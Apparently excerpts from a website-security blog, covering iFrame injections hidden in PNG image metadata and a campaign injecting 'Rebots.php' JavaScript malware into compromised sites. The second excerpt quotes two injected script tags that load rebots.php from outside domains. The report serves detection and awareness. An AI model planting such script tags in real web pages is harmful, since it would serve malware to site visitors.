New iFrame Injections Leverage PNG Image Metadata

We’re always trying to stay ahead of the latest trends, and today we caught a very interesting one that we have either been missing, or it’s new. We’ll just say it’s new.. ;)

We’re all familiar with the idea of iFrame Injections, right?

Understanding an iFrame Injection

The iFrame HTML tag is very standard today, it’s an easy way to embed content from another site into your own. It’s supported by almost all browsers and employed by millions of websites today, use Adsense? Then you have an iFrame embedded within your site too.

Pretty nifty, I know. Like with most things though, the good is always accompanied with the bad.

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Rebots.php JavaScript Malware Being Actively Injected

Holy JavaScript malware, Batman! On August 11th we started seeing the Rebot JavaScript malware string injected on various websites. Since then, it has increased its appearances, and has variated the way it’s being included on the infected sites.

Rebots

When you visit a compromised site, it will attempt to load an additional JavaScript, like one of these:

<script src="http://lig-limp.com.br/rebots.php"..

<script; src="http://chezbruna.com.br/imagens/rebots.php"..


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